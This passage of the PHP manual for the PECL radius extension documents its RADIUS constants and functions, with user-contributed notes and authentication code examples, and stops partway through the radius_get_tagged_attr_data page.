Several RADIUS functions accept option flags as bitmasks. The constants representing those flags are listed below.

RADIUS_OPTION_SALT (int)

When set, this option will result in the attribute value being salt-encrypted.

RADIUS_OPTION_TAGGED (int)

When set, this option will result in the attribute value being tagged with the value of the tag parameter.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Packet Types

RADIUS packets, whether requests or responses, always include a type. These constants are provided to make it easier to specify types when using radius_create_request() and when comparing the result of radius_send_request().

RADIUS_ACCESS_REQUEST (int)

An Access-Request, used to authenticate a user against a RADIUS server. Access request packets must include a RADIUS_NAS_IP_ADDRESS or a RADIUS_NAS_IDENTIFIER attribute, must also include a RADIUS_USER_PASSWORD, RADIUS_CHAP_PASSWORD or a RADIUS_STATE attribute, and should include a RADIUS_USER_NAME attribute.

RADIUS_ACCESS_ACCEPT (int)

An Access-Accept response to an Access-Request indicating that the RADIUS server authenticated the user successfully.

RADIUS_ACCESS_REJECT (int)

An Access-Reject response to an Access-Request indicating that the RADIUS server could not authenticate the user.

RADIUS_ACCESS_CHALLENGE (int)

An Access-Challenge response to an Access-Request indicating that the RADIUS server requires further information in another Access-Request before authenticating the user.

RADIUS_ACCOUNTING_REQUEST (int)

An Accounting-Request, used to convey accounting information for a service to the RADIUS server.

RADIUS_ACCOUNTING_RESPONSE (int)

An Accounting-Response response to an Accounting-Request.

RADIUS_COA_REQUEST (int)

A CoA-Request, sent from the RADIUS server to indicate that the authorisations within the user session have changed. A response must be sent in the form of a CoA-ACK or a CoA-NAK.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_ACK (int)

A CoA-ACK, sent to the RADIUS server to indicate that the user authorisations have been updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_COA_NAK (int)

A CoA-NAK, sent to the RADIUS server to indicate that the user authorisations could not be updated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_REQUEST (int)

A Disconnect-Request, sent from the RADIUS server to indicate that the user session must be terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_ACK (int)

A Disconnect-ACK, sent to the RADIUS server to indicate that the user session has been terminated.

This constant is available in PECL radius 1.3.0 and later.

RADIUS_DISCONNECT_NAK (int)

A Disconnect-NAK, sent to the RADIUS server to indicate that the user session could not be terminated.

This constant is available in PECL radius 1.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


RADIUS Attribute Types

These constants define RADIUS attribute types that can be used with
radius_put_addr(), radius_put_attr(),
radius_put_int() and
radius_put_string().

RADIUS_USER_NAME (int)

The User-Name attribute. The attribute value is expected to be a string containing the name of the user being authenticated, and can be set using radius_put_attr().

RADIUS_USER_PASSWORD (int)

The User-Password attribute. The attribute value is expected to be a string containing the user's password, and can be set using radius_put_attr(). This value will be obfuscated on transmission as described in » section 5.2 of RFC 2865.

RADIUS_CHAP_PASSWORD (int)

The Chap-Password attribute. The attribute value is expected to be a string with the first byte containing the CHAP identifier, and the subsequent 16 bytes containing the MD5 hash of the CHAP identifier, the plaintext password and the CHAP challenge value concatenated together. Note that the CHAP challenge value should also be sent separately in a RADIUS_CHAP_CHALLENGE attribute.

Example #1 Using CHAP passwords

<?php
// Firstly, we'll create an authentication handle and request.
$radh = radius_auth_open();
radius_add_server($radh, $server, $port, $secret, 3, 3);
radius_create_request($radh, RADIUS_ACCESS_REQUEST);

// Assuming $password contains the plaintext password, we now:

// Generate a challenge.
$challenge = mt_rand();

// Specify a CHAP identifier.
$ident = 1;

// Add the Chap-Password attribute.
$cp = md5(pack('Ca*', $ident, $password.$challenge), true);
radius_put_attr($radh, RADIUS_CHAP_PASSWORD, pack('C', $ident).$cp);

// Add the Chap-Challenge attribute.
radius_put_attr($radh, RADIUS_CHAP_CHALLENGE, $challenge);

/* From here, you would add the remaining attributes and
* call radius_send_request(). */
?>

RADIUS_NAS_IP_ADDRESS (int)

The NAS-IP-Address attribute. The attribute value is expected to the IP address of the RADIUS client encoded as an int, which can be set using radius_put_addr().

RADIUS_NAS_PORT (int)

The NAS-Port attribute. The attribute value is expected to be the physical port of the user on the RADIUS client encoded as an int, which can be set using radius_put_int().

RADIUS_SERVICE_TYPE (int)

The Service-Type attribute. The attribute value indicates the service type the user is requesting, and is expected to be an int, which can be set using radius_put_int().

A number of constants are provided to represent the possible values of this attribute. They include:

  • RADIUS_LOGIN
  • RADIUS_FRAMED
  • RADIUS_CALLBACK_LOGIN
  • RADIUS_CALLBACK_FRAMED
  • RADIUS_OUTBOUND
  • RADIUS_ADMINISTRATIVE
  • RADIUS_NAS_PROMPT
  • RADIUS_AUTHENTICATE_ONLY
  • RADIUS_CALLBACK_NAS_PROMPT

RADIUS_FRAMED_PROTOCOL (int)

The Framed-Protocol attribute. The attribute value is expected to be an int indicating the framing to be used for framed access, and can be set using radius_put_int(). The possible attribute values include these constants:

  • RADIUS_PPP
  • RADIUS_SLIP
  • RADIUS_ARAP
  • RADIUS_GANDALF
  • RADIUS_XYLOGICS

RADIUS_FRAMED_IP_ADDRESS (int)

The Framed-IP-Address attribute. The attribute value is expected to be the address of the user's network encoded as an int, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_IP_NETMASK (int)

The Framed-IP-Netmask attribute. The attribute value is expected to be the netmask of the user's network encoded as an int, which can be set using radius_put_addr() and retrieved using radius_cvt_addr().

RADIUS_FRAMED_ROUTING (int)

The Framed-Routing attribute. The attribute value is expected to be an int indicating the routing method for the user, which can be set using radius_put_int().

Possible values include:

  • 0: No routing
  • 1: Send routing packets
  • 2: Listen for routing packets
  • 3: Send and listen

RADIUS_FILTER_ID (int)

The Filter-ID attribute. The attribute value is expected to be an implementation-specific, human-readable string of filters, which can be set using radius_put_attr().

RADIUS_FRAMED_MTU (int)

The Framed-MTU attribute. The attribute value is expected to be an int indicating the MTU to be configured for the user, and can be set using radius_put_int().

RADIUS_FRAMED_COMPRESSION (int)

The Framed-Compression attribute. The attribute value is expected to be an int indicating the compression protocol to be used, and can be set using radius_put_int(). Possible values include these constants:

  • RADIUS_COMP_NONE: No compression
  • RADIUS_COMP_VJ: VJ TCP/IP header compression
  • RADIUS_COMP_IPXHDR: IPX header compression
  • RADIUS_COMP_STAC_LZS: Stac-LZS compression (added in PECL radius 1.3.0b2)

RADIUS_LOGIN_IP_HOST (int)

The Login-IP-Host attribute. The attribute value is expected to the IP address to connect the user to, encoded as an int, which can be set using radius_put_addr().

RADIUS_LOGIN_SERVICE (int)

The Login-Service attribute. The attribute value is an int indicating the service to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_LOGIN_TCP_PORT (int)

The Login-TCP-Port attribute. The attribute value is an int indicating the port to connect the user to on the login host. The value can be converted to a PHP integer via radius_cvt_int().

RADIUS_REPLY_MESSAGE (int)

The Reply-Message attribute. The attribute value is a string containing text that may be displayed to the user in response to an access request.

RADIUS_CALLBACK_NUMBER (int)

The Callback-Number attribute. The attribute value is a string containing the dialing string to use for callback.

RADIUS_CALLBACK_ID (int)

The Callback-Id attribute. The attribute value is a string containing an implementation-specific name of the place to be called.

RADIUS_FRAMED_ROUTE (int)

The Framed-Route attribute. The attribute value is a string containing an implementation-specific set of routes to be configured for the user.

RADIUS_FRAMED_IPX_NETWORK (int)

The Framed-IPX-Network attribute. The attribute value is an int containing the IPX network to be configured for the user, or 0xFFFFFFFE to indicate that the RADIUS client should select the network, and can be accessed via radius_cvt_int().

RADIUS_STATE (int)

The State attribute. The attribute value is an implementation-defined string included in an Access-Challenge from a server that must be included in the subsequent Access-Request, and can be set using radius_put_attr().

RADIUS_CLASS (int)

The Class attribute. The attribute value is an arbitrary string included in an Access-Accept message that should then be sent to the accounting server in Accounting-Request messages, and can be set using radius_put_attr().

RADIUS_VENDOR_SPECIFIC (int)

The Vendor-Specific attribute. In general, vendor attribute values
should be set using radius_put_vendor_addr(),
radius_put_vendor_attr(),
radius_put_vendor_int() and
radius_put_vendor_string(), rather than directly.

This constant is mostly useful when interpreting vendor specific attributes in responses from a RADIUS server; when a vendor specific attribute is received, the radius_get_vendor_attr() function should be used to access the vendor ID, attribute type and attribute value.

RADIUS_SESSION_TIMEOUT (int)

Session timeout

RADIUS_IDLE_TIMEOUT (int)

Idle timeout

RADIUS_TERMINATION_ACTION (int)

Termination action

RADIUS_CALLED_STATION_ID (int)

Called Station Id

RADIUS_CALLING_STATION_ID (int)

Calling Station Id

RADIUS_NAS_IDENTIFIER (int)

NAS ID

RADIUS_PROXY_STATE (int)

Proxy State

RADIUS_LOGIN_LAT_SERVICE (int)

Login LAT Service

RADIUS_LOGIN_LAT_NODE (int)

Login LAT Node

RADIUS_LOGIN_LAT_GROUP (int)

Login LAT Group

RADIUS_FRAMED_APPLETALK_LINK (int)

Framed Appletalk Link

RADIUS_FRAMED_APPLETALK_NETWORK (int)

Framed Appletalk Network

RADIUS_FRAMED_APPLETALK_ZONE (int)

Framed Appletalk Zone

RADIUS_CHAP_CHALLENGE (int)

Challenge

RADIUS_NAS_PORT_TYPE (int)

NAS port type, one of:

  • RADIUS_ASYNC
  • RADIUS_SYNC
  • RADIUS_ISDN_SYNC
  • RADIUS_ISDN_ASYNC_V120
  • RADIUS_ISDN_ASYNC_V110
  • RADIUS_VIRTUAL
  • RADIUS_PIAFS
  • RADIUS_HDLC_CLEAR_CHANNEL
  • RADIUS_X_25
  • RADIUS_X_75
  • RADIUS_G_3_FAX
  • RADIUS_SDSL
  • RADIUS_ADSL_CAP
  • RADIUS_ADSL_DMT
  • RADIUS_IDSL
  • RADIUS_ETHERNET
  • RADIUS_XDSL
  • RADIUS_CABLE
  • RADIUS_WIRELESS_OTHER
  • RADIUS_WIRELESS_IEEE_802_11

RADIUS_PORT_LIMIT (int)

Port Limit

RADIUS_LOGIN_LAT_PORT (int)

Login LAT Port

RADIUS_CONNECT_INFO (int)

Connect info

RADIUS_ACCT_STATUS_TYPE (int)

Accounting status type, one of:

  • RADIUS_START
  • RADIUS_STOP
  • RADIUS_ACCOUNTING_ON
  • RADIUS_ACCOUNTING_OFF

RADIUS_ACCT_DELAY_TIME (int)

Accounting delay time

RADIUS_ACCT_INPUT_OCTETS (int)

Accounting input bytes

RADIUS_ACCT_OUTPUT_OCTETS (int)

Accounting output bytes

RADIUS_ACCT_SESSION_ID (int)

Accounting session ID

RADIUS_ACCT_AUTHENTIC (int)

Accounting authentic, one of:

  • RADIUS_AUTH_RADIUS
  • RADIUS_AUTH_LOCAL
  • RADIUS_AUTH_REMOTE

RADIUS_ACCT_SESSION_TIME (int)

Accounting session time

RADIUS_ACCT_INPUT_PACKETS (int)

Accounting input packets

RADIUS_ACCT_OUTPUT_PACKETS (int)

Accounting output packets

RADIUS_ACCT_TERMINATE_CAUSE (int)

Accounting terminate cause, one of:

  • RADIUS_TERM_USER_REQUEST
  • RADIUS_TERM_LOST_CARRIER
  • RADIUS_TERM_LOST_SERVICE
  • RADIUS_TERM_IDLE_TIMEOUT
  • RADIUS_TERM_SESSION_TIMEOUT
  • RADIUS_TERM_ADMIN_RESET
  • RADIUS_TERM_ADMIN_REBOOT
  • RADIUS_TERM_PORT_ERROR
  • RADIUS_TERM_NAS_ERROR
  • RADIUS_TERM_NAS_REQUEST
  • RADIUS_TERM_NAS_REBOOT
  • RADIUS_TERM_PORT_UNNEEDED
  • RADIUS_TERM_PORT_PREEMPTED
  • RADIUS_TERM_PORT_SUSPENDED
  • RADIUS_TERM_SERVICE_UNAVAILABLE
  • RADIUS_TERM_CALLBACK
  • RADIUS_TERM_USER_ERROR
  • RADIUS_TERM_HOST_REQUEST

RADIUS_ACCT_MULTI_SESSION_ID (int)

Accounting multi session ID

RADIUS_ACCT_LINK_COUNT (int)

Accounting link count

User Contributed Notes

Anonymous 21-Sep-2015 03:09
To fix missing the "Alive" of Acct-Status-Type, just :

define('RADIUS_ALIVE', 3);


RADIUS Vendor Specific Attribute Types

RADIUS_VENDOR_MICROSOFT (int)

Microsoft specific vendor attributes (» RFC 2548), one of:

  • RADIUS_MICROSOFT_MS_CHAP_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP_ERROR
  • RADIUS_MICROSOFT_MS_CHAP_PW_1
  • RADIUS_MICROSOFT_MS_CHAP_PW_2
  • RADIUS_MICROSOFT_MS_CHAP_LM_ENC_PW
  • RADIUS_MICROSOFT_MS_CHAP_NT_ENC_PW
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_POLICY
  • RADIUS_MICROSOFT_MS_MPPE_ENCRYPTION_TYPES
  • RADIUS_MICROSOFT_MS_RAS_VENDOR
  • RADIUS_MICROSOFT_MS_CHAP_DOMAIN
  • RADIUS_MICROSOFT_MS_CHAP_CHALLENGE
  • RADIUS_MICROSOFT_MS_CHAP_MPPE_KEYS
  • RADIUS_MICROSOFT_MS_BAP_USAGE
  • RADIUS_MICROSOFT_MS_LINK_UTILIZATION_THRESHOLD
  • RADIUS_MICROSOFT_MS_LINK_DROP_TIME_LIMIT
  • RADIUS_MICROSOFT_MS_MPPE_SEND_KEY
  • RADIUS_MICROSOFT_MS_MPPE_RECV_KEY
  • RADIUS_MICROSOFT_MS_RAS_VERSION
  • RADIUS_MICROSOFT_MS_OLD_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_NEW_ARAP_PASSWORD
  • RADIUS_MICROSOFT_MS_ARAP_PASSWORD_CHANGE_REASON
  • RADIUS_MICROSOFT_MS_FILTER
  • RADIUS_MICROSOFT_MS_ACCT_AUTH_TYPE
  • RADIUS_MICROSOFT_MS_ACCT_EAP_TYPE
  • RADIUS_MICROSOFT_MS_CHAP2_RESPONSE
  • RADIUS_MICROSOFT_MS_CHAP2_SUCCESS
  • RADIUS_MICROSOFT_MS_CHAP2_PW
  • RADIUS_MICROSOFT_MS_PRIMARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_DNS_SERVER
  • RADIUS_MICROSOFT_MS_PRIMARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_SECONDARY_NBNS_SERVER
  • RADIUS_MICROSOFT_MS_ARAP_CHALLENGE

User Contributed Notes

There are no user contributed notes for this page.


示例

Howto start?

  • get a radius resource
  • configure the library
  • create the request
  • put attributes
  • send the request
  • receive attributes
  • close the radius resource (optional)
Take also a look at the examples in this package.

The package contains an example php script. This script demonstrates howto authenticate with radius using PAP or CHAP (md5). If you authenticate with Microsoft Radius servers then its not possible to use CHAP (md5). If you would like to authenticate with Microsoft Servers you have to use MS-CHAPv1 or MS-CHAPv2, but its more complicated, because you need md4, sha1 and des to generate the right data. The enclosed examples demonstrate all authentication-methods, including MS-CHAPv1 and MS-CHAPv2. To get the MS-CHAP to work you need the mcrypt and the mhash extension, starting with version 1.2 of the package, the mcrypt extension is no longer needed.

User Contributed Notes

There are no user contributed notes for this page.


Radius 函数

Table of Contents

  • radius_acct_open — Creates a Radius handle for accounting
  • radius_add_server — Adds a server
  • radius_auth_open — Creates a Radius handle for authentication
  • radius_close — Frees all ressources
  • radius_config — Causes the library to read the given configuration file
  • radius_create_request — Create accounting or authentication request
  • radius_cvt_addr — Converts raw data to IP-Address
  • radius_cvt_int — Converts raw data to integer
  • radius_cvt_string — Converts raw data to string
  • radius_demangle_mppe_key — Derives mppe-keys from mangled data
  • radius_demangle — Demangles data
  • radius_get_attr — Extracts an attribute
  • radius_get_tagged_attr_data — Extracts the data from a tagged attribute
  • radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute
  • radius_get_vendor_attr — Extracts a vendor specific attribute
  • radius_put_addr — Attaches an IP address attribute
  • radius_put_attr — Attaches a binary attribute
  • radius_put_int — Attaches an integer attribute
  • radius_put_string — Attaches a string attribute
  • radius_put_vendor_addr — Attaches a vendor specific IP address attribute
  • radius_put_vendor_attr — Attaches a vendor specific binary attribute
  • radius_put_vendor_int — Attaches a vendor specific integer attribute
  • radius_put_vendor_string — Attaches a vendor specific string attribute
  • radius_request_authenticator — Returns the request authenticator
  • radius_salt_encrypt_attr — Salt-encrypts a value
  • radius_send_request — Sends the request and waits for a reply
  • radius_server_secret — Returns the shared secret
  • radius_strerror — Returns an error message

User Contributed Notes

SysCo/al - developer [at] sysco[dot] ch 06-Jan-2008 05:39
Pure PHP radius class (do not need the radius package !)

We have implemented a pure PHP radius class following the RFC 2865 rules. Using this class, it is also possible to do WWW realm authentication.

Class abstract, full class implementation (LGPL) with helper files and examples can be found at http://developer.sysco.ch/php/

<?php

// (...)

class Radius
{
    // (...)

    public function Radius($ip_radius_server = '127.0.0.1', $shared_secret = '', $radius_suffix = '', $udp_timeout = 5, $authentication_port = 1812, $accounting_port = 1813)
    {
        // (...)
    }

    // (...)

    function AccessRequest($username = '', $password = '', $udp_timeout = 0)
    {

        // (...)

        $_socket_to_server = socket_create(AF_INET, SOCK_DGRAM, 17); // UDP packet = 17

        if ($_socket_to_server === FALSE)
        {
            // (...)
        }
        elseif (FALSE === socket_connect($_socket_to_server, $this->_ip_radius_server, $this->_authentication_port))
        {
            // (...)
        }
        elseif (FALSE === socket_write($_socket_to_server, $packet_data, $packet_length))
        {
            // (...)
        }
        else
        {
            // (...)
            $read_socket_array   = array($_socket_to_server);
            $write_socket_array  = NULL;
            $except_socket_array = NULL;

            $received_packet = chr(0);

            if (!(FALSE === socket_select($read_socket_array, $write_socket_array, $except_socket_array, $this->_udp_timeout)))
            {
                if (in_array($_socket_to_server, $read_socket_array))
                {
                    if (FALSE === ($received_packet = @socket_read($_socket_to_server, 1024))) // @ used, than no error is displayed if the connection is closed by the remote host
                    {
                        // (...)
                    }
                    else
                    {
                        socket_close($_socket_to_server);
                    }
                }
            }
            else
            {
                socket_close($_socket_to_server);
            }
        }

        // (...)

        return (2 == ($this->_radius_packet_received));
    }
}

?>

Example
<?php
    require_once('radius.class.php');
    $radius = new Radius('127.0.0.1', 'secret');
    if ($radius->AccessRequest('user', 'pass'))
    {
        echo "Authentication accepted.";
    }
    else
    {
        echo "Authentication rejected.";
    }
?>
andac dot aydin at code64 dot de 07-Jul-2006 08:32
If you are constantly getting the errormessage:

Fatal error: Unknown function: radius_auth_open() in...

And your Server is a Windows-System (for example standard-xampp installation), you propably did not remove the comment symbol ";" in front of "extension=php_radius.dll" in php.ini.

If you did that, but get the error anyway:

Additionally be sure you edited the right php.ini, since xampp installs several php.exe's but only "xampp/apache/bin/php.ini"  is the correct one!

It did cost me 2 days to find that out!
shaun at verticalevolution dot com 27-Apr-2006 08:03
To expand on the simple example by jengo at phpgroupware dot org you can add a NAS IP address to the request by using:

radius_put_addr($radius, RADIUS_NAS_IP_ADDRESS, '127.0.0.1');

and not radius_put_attr or radius_put_string. I also had to use radius_put_string for the user name and password.
brett at silcon dot com 13-Jan-2006 10:20
Here's a longer example that DOES do Challenge Response and works with SecurID Authentication Managers.

http://www.webtrotter.com/securid_radius.txt

(script wouldn't let me post it because of the long lines, plus it was too long of an example).
jengo at phpgroupware dot org 23-Oct-2005 08:26
Here is a simple example on how to auth against radius.  Note:  This doesn't handle challenge responses.

<?php
    $radius = radius_auth_open();
    if (! radius_add_server($radius,'localhost',0,'radiussecret',5,3))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    if (! radius_create_request($radius,RADIUS_ACCESS_REQUEST))
    {
        die('Radius Error: ' . radius_strerror($radius));
    }

    radius_put_attr($radius,RADIUS_USER_NAME,'username');
    radius_put_attr($radius,RADIUS_USER_PASSWORD,'password');

    switch (radius_send_request($radius))
    {
        case RADIUS_ACCESS_ACCEPT:
            echo 'GOOD LOGIN';
            break;
        case RADIUS_ACCESS_REJECT:
            echo 'BAD LOGIN';
            break;
        case RADIUS_ACCESS_CHALLENGE:
            echo 'CHALLENGE REQUESTED';
            break;
        default:
            die('Radius Error: ' . radius_strerror($radius));
    }
?>


Creates a Radius handle for accounting

  • ? Radius 函数
  • radius_add_server ?
  • PHP Manual
  • Radius 函数
  • Creates a Radius handle for accounting

radius_acct_open

(PECL radius >= 1.1.0)

radius_acct_open — Creates a Radius handle for accounting

说明

radius_acct_open(): resource

参数

此函数没有参数。

返回值

Returns a handle on success, false on error. This function only fails if insufficient memory is available.

示例

Example #1 radius_acct_open() example

<?php
$res = radius_acct_open ()
or die ("Could not create handle");
print "Handle successfully created";
?>

User Contributed Notes

There are no user contributed notes for this page.


Adds a server

  • ? radius_acct_open
  • radius_auth_open ?
  • PHP Manual
  • Radius 函数
  • Adds a server

radius_add_server

(PECL radius >= 1.1.0)

radius_add_server — Adds a server

说明

radius_add_server(
resource $radius_handle,
string $hostname,
int $port,
string $secret,
int $timeout,
int $max_tries
): bool

radius_add_server() may be called multiple times, and it may be used together with radius_config(). At most 10 servers may be specified. When multiple servers are given, they are tried in round-robin fashion until a valid response is received, or until each server's max_tries limit has been reached.

参数

radius_handle

hostname

The hostname parameter specifies the server host, either as a fully qualified domain name or as a dotted-quad IP address in text form.

port

The port specifies the UDP port to contact on the server. If port is given as 0, the library looks up the radius/udp or radacct/udp service in the network services database, and uses the port found there. If no entry is found, the library uses the standard Radius ports, 1812 for authentication and 1813 for accounting.

secret

The shared secret for the server host is passed to the secret parameter. The Radius protocol ignores all but the leading 128 bytes of the shared secret.

timeout

The timeout for receiving replies from the server is passed to the timeout parameter, in units of seconds.

max_tries

The maximum number of repeated requests to make before giving up is passed into the max_tries.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 radius_add_server() example

<?php
if (!radius_add_server($res, 'radius.example.com', 1812, 'testing123', 3, 3)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br>";
exit;
}
?>

参见

  • radius_config() - Causes the library to read the given configuration file

User Contributed Notes

There are no user contributed notes for this page.


Creates a Radius handle for authentication

  • ? radius_add_server
  • radius_close ?
  • PHP Manual
  • Radius 函数
  • Creates a Radius handle for authentication

radius_auth_open

(PECL radius >= 1.1.0)

radius_auth_open — Creates a Radius handle for authentication

说明

radius_auth_open(): resource

参数

此函数没有参数。

返回值

Returns a handle on success, false on error. This function only fails if insufficient memory is available.

示例

Example #1 radius_auth_open() example

<?php
$radh = radius_auth_open()
or die ("Could not create handle");
echo "Handle successfully created";
?>

User Contributed Notes

There are no user contributed notes for this page.


Frees all ressources

  • ? radius_auth_open
  • radius_config ?
  • PHP Manual
  • Radius 函数
  • Frees all ressources

radius_close

(PECL radius >= 1.1.0)

radius_close — Frees all ressources

说明

radius_close(resource $radius_handle): bool

It is not needed to call this function because php frees all resources at the end of each request.

参数

radius_handle

The RADIUS resource.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Causes the library to read the given configuration file

  • ? radius_close
  • radius_create_request ?
  • PHP Manual
  • Radius 函数
  • Causes the library to read the given configuration file

radius_config

(PECL radius >= 1.1.0)

radius_config — Causes the library to read the given configuration file

说明

radius_config(resource $radius_handle, string $file): bool

Before issuing any Radius requests, the library must be made aware of the servers it can contact. The easiest way to configure the library is to call radius_config(). radius_config() causes the library to read a configuration file whose format is described in » radius.conf.

参数

radius_handle

file

The pathname of the configuration file is passed as the file argument to radius_config(). The library can also be configured programmatically by calls to radius_add_server().

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • radius_add_server() - Adds a server

User Contributed Notes

There are no user contributed notes for this page.


Create accounting or authentication request

  • ? radius_config
  • radius_cvt_addr ?
  • PHP Manual
  • Radius 函数
  • Create accounting or authentication request

radius_create_request

(PECL radius >= 1.1.0)

radius_create_request — Create accounting or authentication request

说明

radius_create_request(resource $radius_handle, int $type): bool

A Radius request consists of a code specifying the kind of request, and zero or more attributes which provide additional information. To begin constructing a new request, call radius_create_request().

Note: Attention: You must call this function, before you can put any attribute!

参数

radius_handle

type

Type is RADIUS_ACCESS_REQUEST or RADIUS_ACCOUNTING_REQUEST.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 radius_create_request() example

<?php
if (!radius_create_request($res, RADIUS_ACCESS_REQUEST)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

参见

  • radius_send_request() - Sends the request and waits for a reply

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to IP-Address

  • ? radius_create_request
  • radius_cvt_int ?
  • PHP Manual
  • Radius 函数
  • Converts raw data to IP-Address

radius_cvt_addr

(PECL radius >= 1.1.0)

radius_cvt_addr — Converts raw data to IP-Address

说明

radius_cvt_addr(string $data): string

Converts raw data to IP-Address

参数

data

Input data

返回值

Returns the IP-Address.

示例

Example #1 radius_cvt_addr() example

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FRAMED_IP_ADDRESS:
$ip = radius_cvt_addr($data);
echo "IP: $ip<br>\n";
break;

case RADIUS_FRAMED_IP_NETMASK:
$mask = radius_cvt_addr($data);
echo "MASK: $mask<br>\n";
break;
}
}
?>

参见

  • radius_cvt_int() - Converts raw data to integer
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to integer

  • ? radius_cvt_addr
  • radius_cvt_string ?
  • PHP Manual
  • Radius 函数
  • Converts raw data to integer

radius_cvt_int

(PECL radius >= 1.1.0)

radius_cvt_int — Converts raw data to integer

说明

radius_cvt_int(string $data): int

Converts raw data to integer

参数

data

Input data

返回值

Returns the integer, retrieved from data.

示例

Example #1 radius_cvt_int() example

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FRAMED_MTU:
$mtu = radius_cvt_int($data);
echo "MTU: $mtu<br>\n";
break;
}
}
?>

参见

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_string() - Converts raw data to string

User Contributed Notes

There are no user contributed notes for this page.


Converts raw data to string

  • ? radius_cvt_int
  • radius_demangle_mppe_key ?
  • PHP Manual
  • Radius 函数
  • Converts raw data to string

radius_cvt_string

(PECL radius >= 1.1.0)

radius_cvt_string — Converts raw data to string

说明

radius_cvt_string(string $data): string

Converts raw data to string

参数

data

Input data

返回值

Returns the string, retrieved from data.

示例

Example #1 radius_cvt_string() example

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

switch ($attr) {

case RADIUS_FILTER_ID:
$id = radius_cvt_string($data);
echo "Filter ID: $id<br>\n";
break;
}
}
?>

参见

  • radius_cvt_addr() - Converts raw data to IP-Address
  • radius_cvt_int() - Converts raw data to integer

User Contributed Notes

There are no user contributed notes for this page.


Derives mppe-keys from mangled data

  • ? radius_cvt_string
  • radius_demangle ?
  • PHP Manual
  • Radius 函数
  • Derives mppe-keys from mangled data

radius_demangle_mppe_key

(PECL radius >= 1.2.0)

radius_demangle_mppe_key — Derives mppe-keys from mangled data

说明

radius_demangle_mppe_key(resource $radius_handle, string $mangled): string

When using MPPE with MS-CHAPv2, the send- and recv-keys are mangled (see » RFC 2548), however this function is useless, because I don't think that there is or will be a PPTP-MPPE implementation in PHP.

参数

radius_handle

The RADIUS resource.

mangled

The mangled data to demangle

返回值

Returns the demangled string, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Demangles data

  • ? radius_demangle_mppe_key
  • radius_get_attr ?
  • PHP Manual
  • Radius 函数
  • Demangles data

radius_demangle

(PECL radius >= 1.2.0)

radius_demangle — Demangles data

说明

radius_demangle(resource $radius_handle, string $mangled): string

Some data (Passwords, MS-CHAPv1 MPPE-Keys) is mangled for security reasons, and must be demangled before you can use them.

参数

radius_handle

The RADIUS resource.

mangled

The mangled data to demangle

返回值

Returns the demangled string, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Extracts an attribute

  • ? radius_demangle
  • radius_get_tagged_attr_data ?
  • PHP Manual
  • Radius 函数
  • Extracts an attribute

radius_get_attr

(PECL radius >= 1.1.0)

radius_get_attr — Extracts an attribute

说明

radius_get_attr(resource $radius_handle): mixed

Like Radius requests, each response may contain zero or more attributes. After a response has been received successfully by radius_send_request(), its attributes can be extracted one by one using radius_get_attr(). Each time radius_get_attr() is called, it gets the next attribute from the current response.

参数

radius_handle

The RADIUS resource.

返回值

Returns an associative array containing the attribute-type and the data, or error number <= 0.

示例

Example #1 radius_get_attr() example

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];
printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
}
?>

参见

  • radius_put_attr() - Attaches a binary attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute
  • radius_send_request() - Sends the request and waits for a reply

User Contributed Notes

There are no user contributed notes for this page.


Extracts the data from a tagged attribute

  • ? radius_get_attr
  • radius_get_tagged_attr_tag ?
  • PHP Manual
  • Radius 函数
  • Extracts the data from a tagged attribute

radius_get_tagged_attr_data

(PECL radius >= 1.3.0)

radius_get_tagged_attr_data — Extracts the data from a tagged attribute

说明

radius_get_tagged_attr_data(string $data): string|false

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the data from the attribute.

参数

data

The tagged attribute to be decoded.

返回值

Returns the data from the tagged attribute 或者在失败时返回 false.

示例

Example #1 radius_get_tagged_attr_data() example

<?php
while ($resa = radius_get_attr($res)) {
if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

$tag = radius_get_tagged_attr_tag($data);
$value = radius_get_tagged_attr_data($data);

